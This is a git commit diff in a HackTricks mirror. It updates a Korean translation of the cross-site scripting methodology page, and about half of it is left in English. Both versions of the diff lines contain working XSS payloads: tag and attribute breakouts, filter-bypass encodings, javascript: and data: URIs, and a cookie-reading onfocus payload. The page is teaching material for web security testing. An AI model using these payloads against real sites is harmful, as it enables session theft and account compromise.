mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/README.md', 'sr
This commit is contained in:
parent
731b443f99
commit
e014f4487a
@ -725,6 +725,7 @@
|
||||
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
|
||||
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
|
||||
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
|
||||
|
@ -4,63 +4,63 @@
|
||||
|
||||
## 방법론
|
||||
|
||||
1. 당신이 제어하는 어떤 값( _parameters_, _path_, _headers_?, _cookies_? )이 HTML에 **반영**되거나 **JS 코드에서 사용되는지** 확인한다.
|
||||
2. **입력이 반영/사용되는 컨텍스트를 찾는다**.
|
||||
3. 만약 **반영되어 있다면**
|
||||
1. 어떤 **기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비한다:
|
||||
1. **raw HTML** 내:
|
||||
1. 새로운 HTML 태그를 생성할 수 있는가?
|
||||
2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있는가?
|
||||
3. 보호 장치를 우회할 수 있는가?
|
||||
4. HTML 컨텐츠가 클라이언트 사이드 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되는가? 그렇다면 [**Client Side Template Injection**](../client-side-template-injection-csti.md)를 악용할 수 있다.
|
||||
5. JS 코드를 실행하는 HTML 태그를 만들 수 없다면, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)를 악용할 수 있는가?
|
||||
1. **당신이 제어하는 값**이 HTML에 **반영(reflected)**되거나 **JS 코드에서 사용**되는지 확인하세요. (_parameters_, _path_, _headers_?, _cookies_?)
|
||||
2. 반영/사용되는 **컨텍스트를 찾으세요**.
|
||||
3. 만약 **reflected**라면
|
||||
1. **어떤 문자를 사용할 수 있는지** 확인하고 그에 따라 페이로드를 준비하세요:
|
||||
1. **raw HTML**에서:
|
||||
1. 새로운 HTML 태그를 생성할 수 있나요?
|
||||
2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있나요?
|
||||
3. 보호 메커니즘을 우회할 수 있나요?
|
||||
4. HTML 콘텐츠가 클라이언트 사이드 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석된다면, [**Client Side Template Injection**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
|
||||
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)를 악용할 수 있나요?
|
||||
2. **HTML 태그 내부**:
|
||||
1. raw HTML 컨텍스트로 빠져나갈 수 있는가?
|
||||
2. JS 코드를 실행할 수 있는 새로운 이벤트/속성을 만들 수 있는가?
|
||||
3. 당신이 갇혀 있는 속성이 JS 실행을 지원하는가?
|
||||
4. 보호 장치를 우회할 수 있는가?
|
||||
3. **JavaScript 코드** 내부:
|
||||
1. `<script>` 태그를 탈출(escape)할 수 있는가?
|
||||
2. 문자열을 탈출해서 다른 JS 코드를 실행할 수 있는가?
|
||||
3. 입력이 템플릿 리터럴 `` 안에 있는가?
|
||||
4. 보호 장치를 우회할 수 있는가?
|
||||
4. Javascript **function**이 **실행되는 경우**
|
||||
1. 실행할 함수의 이름을 지정할 수 있다. 예: `?callback=alert(1)`
|
||||
4. 만약 **사용되는 경우**:
|
||||
1. **DOM XSS**를 악용할 수 있다. 입력이 어떻게 제어되는지, 그리고 당신의 **제어된 입력이 어떤 sink에 의해 사용되는지**를 주의하라.
|
||||
1. 속성과 태그에서 **탈출(escape)**하여 raw HTML 컨텍스트로 나갈 수 있나요?
|
||||
2. JS 코드를 실행하는 새로운 이벤트/속성을 생성할 수 있나요?
|
||||
3. 당신이 갇혀있는 속성은 JS 실행을 지원하나요?
|
||||
4. 보호 메커니즘을 우회할 수 있나요?
|
||||
3. **JavaScript 코드 내부**:
|
||||
1. `<script>` 태그를 이스케이프할 수 있나요?
|
||||
2. 문자열을 이스케이프하여 다른 JS 코드를 실행할 수 있나요?
|
||||
3. 입력이 템플릿 리터럴 ````안에 있나요?
|
||||
4. 보호 메커니즘을 우회할 수 있나요?
|
||||
4. 실행되는 Javascript **function**
|
||||
1. 실행할 함수명을 지정할 수 있습니다. 예: `?callback=alert(1)`
|
||||
4. 만약 **used**라면:
|
||||
1. **DOM XSS**를 악용할 수 있습니다. 입력이 어떻게 제어되는지와 당신의 **제어된 입력이 어떤 sink에 사용되는지** 주의 깊게 보세요.
|
||||
|
||||
복잡한 XSS를 다룰 때 다음 내용을 알아두면 유용할 수 있다:
|
||||
복잡한 XSS 작업을 할 때 다음 내용을 아는 것이 유용할 수 있습니다:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
debugging-client-side-js.md
|
||||
{{#endref}}
|
||||
|
||||
## 반영된 값
|
||||
## 반사된 값
|
||||
|
||||
XSS를 성공적으로 악용하려면 가장 먼저 찾아야 할 것은 웹페이지에 **반영되는 당신이 제어하는 값**이다.
|
||||
XSS를 성공적으로 악용하려면 가장 먼저 찾아야 할 것은 웹 페이지에 **반영되는 당신이 제어하는 값**입니다.
|
||||
|
||||
- **Intermediately reflected**: 파라미터 값이나 경로가 웹페이지에 반영된다면 **Reflected XSS**를 악용할 수 있다.
|
||||
- **Stored and reflected**: 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 **Stored XSS**를 악용할 수 있다.
|
||||
- **Accessed via JS**: 당신이 제어하는 값이 JS로 접근된다면 **DOM XSS**를 악용할 수 있다.
|
||||
- **임시로 반사됨(Intermediately reflected)**: 파라미터 값이나 경로가 웹 페이지에 반영되는 것을 찾았다면 **Reflected XSS**를 악용할 수 있습니다.
|
||||
- **저장되어 반사됨(Stored and reflected)**: 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 **Stored XSS**를 악용할 수 있습니다.
|
||||
- **JS로 접근됨(Accessed via JS)**: 당신이 제어하는 값이 JS로 접근되는 것을 찾았다면 **DOM XSS**를 악용할 수 있습니다.
|
||||
|
||||
## 컨텍스트
|
||||
|
||||
XSS를 악용하려 할 때 가장 먼저 알아야 할 것은 **입력이 어디에 반영되는가**이다. 컨텍스트에 따라 임의의 JS 코드를 실행할 수 있는 방법이 달라진다.
|
||||
XSS를 시도할 때 가장 먼저 알아야 할 것은 **어디에 당신의 입력이 반영되는가**입니다. 컨텍스트에 따라 임의의 JS 코드를 실행할 수 있는 방식이 달라집니다.
|
||||
|
||||
### Raw HTML
|
||||
|
||||
입력이 **raw HTML에 반영되는 경우**, JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 한다: `<img , <iframe , <svg , <script` ... 이것들은 사용할 수 있는 많은 HTML 태그 중 일부에 불과하다.\
|
||||
또한, [Client Side Template Injection](../client-side-template-injection-csti.md)을 염두에 두라.
|
||||
입력이 **원시 HTML**에 반영된다면 JS 코드를 실행하기 위해 어떤 **HTML 태그**를 악용해야 합니다: `<img , <iframe , <svg , <script` ... 이들은 사용할 수 있는 많은 HTML 태그 중 일부일 뿐입니다.\
|
||||
또한 [Client Side Template Injection](../client-side-template-injection-csti.md)를 유의하세요.
|
||||
|
||||
### Inside HTML tags attribute
|
||||
### HTML 태그의 속성 내부
|
||||
|
||||
입력이 태그의 속성 값 내부에 반영된다면 다음을 시도할 수 있다:
|
||||
입력이 태그 속성의 값 내부에 반영된다면 다음을 시도해볼 수 있습니다:
|
||||
|
||||
1. **속성과 태그에서 탈출**(그러면 raw HTML 상태가 됨)하여 악용할 새로운 HTML 태그를 만든다: `"><img [...]`
|
||||
2. 만약 **속성에서는 탈출할 수 있지만 태그에서는 탈출할 수 없다**면 (`>`가 인코딩되거나 삭제됨), 태그에 따라 JS 코드를 실행하는 **이벤트를 생성할 수 있다**: `" autofocus onfocus=alert(1) x="`
|
||||
3. 만약 **속성에서 탈출할 수 없다**면 (`"`가 인코딩되거나 삭제됨), 값이 반영되는 **어떤 속성인지**, 그리고 **전체 값을 제어하는지 일부만 제어하는지**에 따라 이를 악용할 수 있다. 예를 들어 `onclick=` 같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행시킬 수 있다. 또 다른 흥미로운 예는 `href` 속성으로, `javascript:` 프로토콜을 사용해 임의의 코드를 실행할 수 있다: **`href="javascript:alert(1)"`**
|
||||
4. 입력이 "**unexpoitable tags**" 안에 반영된다면 **`accesskey`** 트릭을 시도해볼 수 있다(이를 악용하려면 일종의 social engineering이 필요하다): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. **속성 및 태그에서 탈출**하여 raw HTML로 나가 새로운 HTML 태그를 생성: `"><img [...]`
|
||||
2. **속성에서는 탈출하지만 태그에서 탈출하지 못하는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 JS 코드를 실행하는 **이벤트**를 만들 수 있습니다: `" autofocus onfocus=alert(1) x="`
|
||||
3. **속성에서 탈출할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), 반영된 값이 **어떤 속성인지**와 **값 전체를 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=` 같은 이벤트를 제어하면 클릭 시 임의 코드를 실행할 수 있습니다. 또 다른 흥미로운 예는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
4. 입력이 "**익스플로잇 불가능한 태그**" 내부에 반영된다면 **`accesskey`** 트릭을 시도할 수 있습니다(이를 악용하려면 어느 정도의 social engineering이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
클래스 이름을 제어하면 Angular가 XSS를 실행하는 이상한 예:
|
||||
```html
|
||||
@ -70,15 +70,15 @@ XSS를 악용하려 할 때 가장 먼저 알아야 할 것은 **입력이 어
|
||||
```
|
||||
### JavaScript 코드 내부
|
||||
|
||||
이 경우 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그 사이, `.js` 파일 내부 또는 **`javascript:`** 프로토콜을 사용하는 속성 내에 반영됩니다:
|
||||
In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol:
|
||||
|
||||
- 만약 입력이 **`<script> [...] </script>`** 태그 사이에 반영된다면, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`을 주입해 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**한 다음 콘텐츠를 처리하기 때문에, 주입한 `</script>` 태그가 HTML 코드 내부에 있다는 것을 인지하지 못하기 때문입니다.
|
||||
- 만약 입력이 **JS 문자열 안에** 반영되고 이전 트릭이 작동하지 않는다면, 문자열을 **종료**하고, 코드를 **실행**하며, JS 코드를 **재구성**해야 합니다 (오류가 있으면 실행되지 않습니다:
|
||||
- 만약 입력이 **`<script> [...] </script>`** 태그 사이에 반영된다면, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입해 이 컨텍스트에서 탈출할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**한 다음 내용을 파싱하기 때문에 동작하며, 따라서 브라우저는 당신이 주입한 `</script>` 태그가 HTML 코드 내부에 있다는 것을 인식하지 못합니다.
|
||||
- 만약 반영이 **JS 문자열 내부**에 일어나고 이전 트릭이 통하지 않는다면 문자열을 **탈출**하고, 당신의 코드를 **실행**한 뒤 JS 코드를 **재구성**해야 합니다(오류가 있으면 실행되지 않습니다:
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- 템플릿 리터럴 안에 반영된다면 `${ ... }` 구문을 사용해 **JS 표현식 삽입**을 할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode 인코딩**은 **유효한 javascript 코드**를 작성하는 데 사용할 수 있습니다:
|
||||
- 템플릿 리터럴 안에 반영된다면 `${ ... }` 구문을 사용해 **JS 표현식**을 임베드할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode**는 **유효한 javascript 코드**를 작성하는 데 유용합니다:
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -86,7 +86,7 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting references the opportunity to **사용된 이후에 함수, 변수 또는 클래스를 선언하여 XSS가 미선언된 변수나 함수를 사용하는 상황을 악용할 수 있습니다.**\
|
||||
Javascript Hoisting references the opportunity to **사용된 이후에 함수, 변수 또는 클래스를 선언할 수 있는 기회를 의미하며, 선언되지 않은 변수나 함수가 사용되는 XSS 시나리오를 악용할 수 있습니다.**\
|
||||
**자세한 내용은 다음 페이지를 확인하세요:**
|
||||
|
||||
|
||||
@ -96,13 +96,13 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
Several web pages have endpoints that **실행할 함수의 이름을 파라미터로 받는**. A common example to see in the wild is something like: `?callback=callbackFunc`.
|
||||
Several web pages have endpoints that **실행할 함수의 이름을 매개변수로 받습니다**. A common example to see in the wild is something like: `?callback=callbackFunc`.
|
||||
|
||||
A good way to find out if something given directly by the user is trying to be executed is **파라미터 값을 수정하는 것** (for example to 'Vulnerable') and looking in the console for errors like:
|
||||
A good way to find out if something given directly by the user is trying to be executed is **매개변수 값을 수정해 보는 것** (for example to 'Vulnerable') and looking in the console for errors like:
|
||||
|
||||
.png>)
|
||||
|
||||
In case it's vulnerable, you could be able to **alert를 트리거** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **내용을 검증** to only allow letters, numbers, dots and underscores (**`[\w\._]`**).
|
||||
In case it's vulnerable, you could be able to **alert를 발생시킬 수 있습니다** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **내용을 검증**하여 문자, 숫자, 점, 밑줄만 허용하도록 합니다 (**`[\w\._]`**).
|
||||
|
||||
However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **DOM의 어떤 요소든 접근할 수 있습니다**:
|
||||
|
||||
@ -118,9 +118,9 @@ parentElement
|
||||
```
|
||||
You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
|
||||
|
||||
그러나 보통 지정된 함수를 실행하는 엔드포인트들은 흥미로운 DOM이 많지 않은 경우가 많습니다. **동일 출처의 다른 페이지**들은 더 많은 동작을 수행할 수 있는 **더 흥미로운 DOM**을 가지고 있을 수 있습니다.
|
||||
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
|
||||
|
||||
따라서, 다른 DOM에서 이 취약점을 악용하기 위해 Same Origin Method Execution (SOME) 익스플로잇이 개발되었습니다:
|
||||
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
JS 코드가 공격자가 제어하는 일부 데이터를 안전하지 않게 사용하고 있는 경우가 있습니다(예: `location.href`). 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.
|
||||
공격자가 제어하는 일부 데이터(예: `location.href`)를 안전하지 않게 사용하는 **JS code**가 있습니다. 공격자는 이를 악용해 임의의 JS 코드를 실행할 수 있습니다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -138,8 +138,8 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
이런 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **어떤** **컨텍스트**에서도 발생할 수 있습니다. 이러한 **임의의 JavaScript 실행**은 심지어 **RCE**를 얻거나 클라이언트 및 서버에서 **임의의 파일을 읽는** 등으로 악용될 수 있습니다.\
|
||||
몇 가지 **예시**:
|
||||
이러한 유형의 XSS는 **anywhere**에서 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 측 취약점만이 아니라 **any** **context**에 의존합니다. 이러한 **arbitrary JavaScript execution**은 심지어 **RCE**를 획득하거나 클라이언트 및 서버의 임의 파일을 읽는 등으로 악용될 수 있습니다.\
|
||||
몇 가지 **examples**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -151,17 +151,17 @@ server-side-xss-dynamic-pdf.md
|
||||
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
|
||||
{{#endref}}
|
||||
|
||||
## WAF bypass encoding image
|
||||
## WAF 우회 인코딩 이미지
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Injecting inside raw HTML
|
||||
|
||||
입력이 **HTML 페이지 내부에 반영되거나** 이 컨텍스트에서 이스케이프해 HTML 코드를 주입할 수 있는 경우, 가장 먼저 해야 할 일은 `<`를 사용해 새 태그를 만들 수 있는지 확인하는 것입니다: 해당 **문자**를 반사(reflect)해 보고 그것이 **HTML 인코딩**되는지, **삭제**되는지, 아니면 **변경 없이 반영되는지** 확인하세요. **마지막 경우에만 이 케이스를 악용할 수 있습니다.**\
|
||||
이 경우에는 [**Client Side Template Injection**](../client-side-template-injection-csti.md)를 **염두에 두십시오.**\
|
||||
_**참고: HTML 주석은 `-->` 또는 `--!>`로 닫을 수 있습니다**_
|
||||
입력이 **inside the HTML page**에 반영되거나 이 컨텍스트에서 HTML 코드를 이스케이프하여 주입할 수 있다면, 첫 번째로 해야 할 일은 `<`를 남용해 새 태그를 생성할 수 있는지 확인하는 것입니다: 해당 **char**를 **reflect** 해보고 그것이 **HTML encoded**되거나 **deleted**되었는지, 아니면 **reflected without changes**되는지 확인하세요. **오직 마지막 경우에만 이 취약점을 악용할 수 있습니다**.\
|
||||
이러한 경우에는 [**Client Side Template Injection**](../client-side-template-injection-csti.md)**도** **keep in mind**하세요.\
|
||||
_**참고: HTML 주석은 다음으로 닫을 수 있습니다\*\***\***\*`-->`\*\***\***\*또는 \*\***`--!>`\*\*_
|
||||
|
||||
이 경우 및 black/whitelisting이 사용되지 않는 경우, 다음과 같은 페이로드를 사용할 수 있습니다:
|
||||
In this case and if no black/whitelisting is used, you could use payloads like:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -169,22 +169,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
하지만, 태그/속성 블랙/화이트리스트가 사용되는 경우, 어떤 태그를 **brute-force**해야 하는지 알아내야 합니다.\
|
||||
허용되는 태그를 **찾았으면**, 발견한 유효한 태그 내부의 **속성/이벤트를 brute-force**하여 컨텍스트를 어떻게 공격할 수 있는지 확인해야 합니다.
|
||||
하지만 tags/attributes 블랙/화이트리스트가 사용되는 경우, 생성할 수 있는 **brute-force which tags**를 확인해야 합니다.\
|
||||
허용된 **tags를 찾아낸 후**, 발견된 유효 태그 내부의 **attributes/events를 brute-force**하여 컨텍스트를 어떻게 공격할 수 있는지 확인해야 합니다.
|
||||
|
||||
### 태그/이벤트 brute-force
|
||||
|
||||
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. 그런 다음, 모든 태그를 Burp intruder로 전송하고 WAF가 악성으로 탐지하지 못한 태그가 있는지 확인하세요. 사용 가능한 태그를 발견하면, 유효한 태그를 사용하여 **모든 이벤트를 brute-force**할 수 있습니다 (같은 웹 페이지에서 _**Copy events to clipboard**_를 클릭하고 이전과 같은 절차를 따르세요).
|
||||
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
|
||||
|
||||
### 커스텀 태그
|
||||
|
||||
유효한 HTML 태그를 찾지 못했다면, **커스텀 태그를 생성**하고 `onfocus` 속성으로 JS 코드를 실행해볼 수 있습니다. XSS 요청에서는 URL 끝에 `#`을 붙여 페이지가 **해당 객체에 포커스**하고 코드를 **실행**하게 만들어야 합니다:
|
||||
If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
어떤 종류의 blacklist가 사용되고 있다면, 몇 가지 간단한 트릭으로 그것을 bypass해볼 수 있습니다:
|
||||
어떤 종류의 blacklist가 사용 중이라면, 몇 가지 기발한 트릭으로 이를 bypass해볼 수 있습니다:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -234,31 +234,31 @@ onerror=alert`1`
|
||||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
### 길이 우회 (small XSSs)
|
||||
|
||||
> [!NOTE] > **다양한 환경을 위한 더 많은 tiny XSS payload** [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **다양한 환경을 위한 추가적인 작은 XSS** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
마지막 것은 2개의 unicode 문자로 구성되어 있으며 5개로 확장됩니다: telsr\
|
||||
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
|
||||
어떤 문자로 분해되는지 확인하려면 [here](https://www.compart.com/en/unicode/U+2121)을 확인하세요.
|
||||
마지막 예제는 2개의 unicode 문자를 사용하며 이는 5개로 확장됩니다: telsr\
|
||||
이런 문자들에 대한 자세한 내용은 [here](https://www.unicode.org/charts/normalization/).\
|
||||
어떤 문자로 분해되는지 확인하려면 [here](https://www.compart.com/en/unicode/U+2121)를 확인하세요.
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
취약점을 악용하기 위해 사용자가 미리 채워진 데이터와 함께 **링크나 폼을 클릭해야 하는 경우**, 페이지가 취약하다면 [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)를 시도해 볼 수 있습니다.
|
||||
취약점을 악용하려면 사전 채워진 데이터가 있는 링크나 폼을 **사용자가 클릭해야 하는 경우**, 페이지가 취약하다면 [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)을 시도해볼 수 있습니다.
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
### 불가능 - Dangling Markup
|
||||
|
||||
HTML 태그와 속성으로 JS 코드를 실행하는 것이 **불가능하다고** 생각된다면, [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)을 확인하세요. 왜냐하면 JS 코드를 실행하지 않고도 취약점을 **exploit**할 수 있기 때문입니다.
|
||||
만약 단지 **HTML 태그에 속성을 만들어 JS 코드를 실행하는 것이 불가능하다고** 생각한다면, [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)을 확인하세요. 왜냐하면 **JS** 코드를 실행하지 않고도 해당 취약점을 **exploit**할 수 있기 때문입니다.
|
||||
|
||||
## Injecting inside HTML tag
|
||||
## HTML tag 내부에 주입
|
||||
|
||||
### Inside the tag/escaping from attribute value
|
||||
### 태그 내부/속성 값에서 이스케이프
|
||||
|
||||
HTML 태그 내부에 있는 경우, 가장 먼저 시도해볼 것은 태그에서 **escape**하여 [previous section](#injecting-inside-raw-html)에 언급된 기법들 중 일부를 사용해 JS 코드를 실행하는 것입니다.\
|
||||
태그에서 **탈출할 수 없다면**, 태그 내부에 새로운 속성을 생성해 JS 코드를 실행하도록 시도할 수 있습니다. 예를 들어 다음과 같은 payload를 사용할 수 있습니다 (_이 예제에서는 속성에서 탈출하기 위해 double quotes를 사용했지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
|
||||
만약 **HTML 태그 내부에 있는 경우**, 먼저 시도해볼 것은 태그에서 **escape**하여 [이전 섹션](#injecting-inside-raw-html)에 언급된 일부 기술을 사용해 JS 코드를 실행하는 것입니다.\
|
||||
만약 태그에서 **escape**할 수 없다면, 태그 안에 새로운 속성을 만들어 JS 코드를 실행하려 시도할 수 있습니다. 예를 들어 다음과 같은 payload를 사용할 수 있습니다 (_이 예제에서는 속성에서 탈출하기 위해 큰따옴표를 사용했으며, 입력이 태그 안에 직접 반영된다면 큰따옴표는 필요하지 않습니다_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -273,16 +273,16 @@ HTML 태그 내부에 있는 경우, 가장 먼저 시도해볼 것은 태그에
|
||||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### 속성 내에서
|
||||
### 속성 내부에서
|
||||
|
||||
비록 **속성에서 탈출할 수 없다면** (`"`가 인코딩되거나 삭제되는 경우), 값이 반영되는 **어떤 속성인지** 및 값 전체를 제어하는지 아니면 일부만 제어하는지에 따라 이를 악용할 수 있습니다. 예를 들어, `onclick=` 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행하게 할 수 있습니다.\
|
||||
또 다른 흥미로운 예는 `href` 속성으로, `javascript:` 프로토콜을 사용해 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
설령 **속성에서 탈출할 수 없다** (`"` 가 인코딩되거나 삭제되는 경우), 값이 반영되는 **어떤 속성인지**, 그리고 값 전체를 제어하는지 아니면 일부만 제어하는지에 따라 이를 악용할 수 있다. 예를 들어, `onclick=` 같은 이벤트를 제어할 수 있다면 클릭될 때 임의의 코드를 실행하게 만들 수 있다.\
|
||||
또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용해 임의의 코드를 실행할 수 있다: **`href="javascript:alert(1)"`**
|
||||
|
||||
**이벤트 내부 우회 (HTML encoding/URL encode 사용)**
|
||||
**HTML encoding/URL encode를 사용한 이벤트 내부 우회**
|
||||
|
||||
HTML 태그 속성 값 안의 **HTML 인코딩된 문자**는 **런타임에 디코딩**됩니다. 따라서 다음과 같은 것이 유효하게 동작합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML 태그 속성 값 안의 **HTML encoded characters**는 런타임에 **decoded on runtime**된다. 따라서 다음과 같은 것이 유효하다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
참고로 **어떤 형태의 HTML 인코딩도 유효합니다**:
|
||||
참고로 **any kind of HTML encode is valid**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
@ -299,11 +299,11 @@ HTML 태그 속성 값 안의 **HTML 인코딩된 문자**는 **런타임에 디
|
||||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**참고: URL encode도 작동합니다:**
|
||||
**URL encode도 작동합니다:**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**이벤트 내부에서 Unicode 인코딩을 사용하여 우회**
|
||||
**이벤트 내부 우회 (Unicode encode 사용)**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -311,7 +311,7 @@ HTML 태그 속성 값 안의 **HTML 인코딩된 문자**는 **런타임에 디
|
||||
```
|
||||
### 속성 내의 특수 프로토콜
|
||||
|
||||
해당 속성에서는 일부 위치에서 프로토콜 **`javascript:`** 또는 **`data:`** 를 사용해 **임의의 JS 코드를 실행**할 수 있습니다. 일부는 사용자 상호작용을 요구하고, 일부는 요구하지 않습니다.
|
||||
거기에서는 일부 장소에서 프로토콜 **`javascript:`** 또는 **`data:`** 를 사용하여 **임의의 JS 코드를 실행**할 수 있습니다. 일부는 사용자 상호작용을 필요로 하고, 일부는 그렇지 않습니다.
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -331,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
|
||||
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
|
||||
